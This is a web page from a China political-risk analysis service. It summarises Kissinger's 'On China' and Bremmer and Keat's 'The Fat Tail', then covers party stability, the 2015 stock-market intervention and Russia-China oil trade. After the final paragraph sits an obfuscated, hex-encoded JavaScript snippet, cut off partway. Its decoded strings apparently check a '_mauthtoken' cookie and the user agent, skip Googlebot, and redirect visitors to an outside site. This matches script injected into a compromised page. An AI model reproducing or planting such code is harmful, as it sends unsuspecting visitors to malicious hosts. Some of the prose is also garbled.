Political

China Political Analysis

Political analysis is one of the four cornerstones of TST China Systems. The cornerstones work together to enable users to collaborate using a system that works together as a logical whole.

ChinaCornerstones

The qualitative factors include the stability of the Communist Party government, the quality and competence of its regulations, relationships with the US and shifts in great power relations.

All-Powerful Standing Committee of Politburo

Standing Committee of Politburo
Standing Committee

Political Analysis Best Practices

TST China Systems draws from thought leaders about political risk, such as Henry Kissinger in “On China” and Ian Bremmer and Preston Keat in “The Fat Tail: The Power of Political Knowledge in an Uncertain World”.

On China

Dr. Kissinger’s historical accounting of China enables us and our clients to better understand and model the historical, cultural, and political factors that drive today’s China.

On China

“On China” covers China’s initial encounters between China and modern European powers, the breakdown of its alliance with Russia, rationale behind and its involvement in the Korean War, and President Nixon’s historic trip to Beijing, to the China of Xi Jinping and Li Kequang.

The book explains the differences in how the Chinese both view themselves as an exceptional civilization and think about foreign and military strategy, vs. the U.S. Kissinger’s historical accounting progresses from Confucius, to Mao’s creation of continual chaos, the China-U.S. rapprochement, the 1989 Tiananmen Square Massacre, and China’s economic resurgence initiated and led by Deng Xiaoping.

The Fat Tail

The Fat Tail provides a wealth of unique methods, tools and concepts to help us and our clients better understand, manage and model political risk – in general and with respect to China.

TheFatTail

Bremmer and Keat survey a range of risky situations, from stable markets like the US and Japan, where politically driven regulation can still dramatically effect business, to more precarious places like Iran, China, Russia and Nigeria, where private property is less secure and energy politics sparks constant volatility.

The book address an array of political risks that stem from great power rivalries, terrorist groups, government takeover of private property, weak leaders and internal strife, and even the “black swans” that defy prediction.

  Political Framework

The political framework has two Tier 2 categories: domestic and geopolitical.  The Tier 3 categories for domestic are government stability, including the rule of the Chinese Communist Party (CCP) and rivalries within the party; the Tier 3 categories for geopolitical are great power relations and economic relations.

ChinaPoliticalFramework2

Government Stability: Crackdown on Corruption (or Political Rivals?)

Bo Xi Lai - a Xi Jinping rival - is in prison
Bo Xi Lai – a Xi Jinping rival – is in prison
Zhou Yongkang has not been seen since 2013
Zhou Yongkang has not been seen since 2013

Government Regulations: Intervention in the Shanghai & Shenzhen Markets

The intrusions and manipulations have been nonstop since Chinese stocks began selling off in early June. The China Security Regulatory Commission, which governs the stock market, ruled that shareholders and managers holding more than 5 percent of a company’s shares couldn’t sell for six months.  The People’s Bank of China began pumping money into the state-controlled China Securities Finance Corp., which was then instructed to lend money to brokerage houses. The brokerages were then mandated to lend money to customers to buy stocks while selling was discouraged.  Investors called their brokerage firms to place sell orders, but the brokerages refused to take the orders.

The government halted trading in about half the stocks on the Shanghai and Shenzhen exchanges. a bet that the price will drop. The Chinese Ministry of Public Security, which is basically the secret police, has announced that it will investigate not just short sellers but anyone who sells stocks.

US Relations: The SED

Paulson
Paulson

Great Power Shifts: Russia Steps Up Relations with China

Russia became China’s top crude oil supplier in May as imports increased 20 per cent from April to 927,000 barrels per day. China imported a record 3.92 million tonnes from Russia, 3.26 tonnes from Angola and Saudi Arabia was third. Russia has strengthened ties and trade with China since coming under Western sanctions for its actions in Ukraine.  The rouble-yuan currency pair reached record highs in trading volumes last summer as Russian companies and banks, traditionally dependent on dollar-denominated syndicated loans, looked to China.  In 2013, Russia’s largest oil producer, Rosneft,signed an $85bn deal to deliver 100m tonnes of crude over 10 years and another 270bn deal to double oil supplies to China. Gasprom, the state-owned gas company, committed to delivering $400 billion in gas.

China Oil Imports - Russia & Saudi Arabia

Drivers Database to Multi-Tier Model Framework

The political sub-system framework is logically consistent with the models. For example, the political taxonomy organizes the Politicla drivers in the Drivers Database which feed into the Political sub-categories of the Multi-Tier Model.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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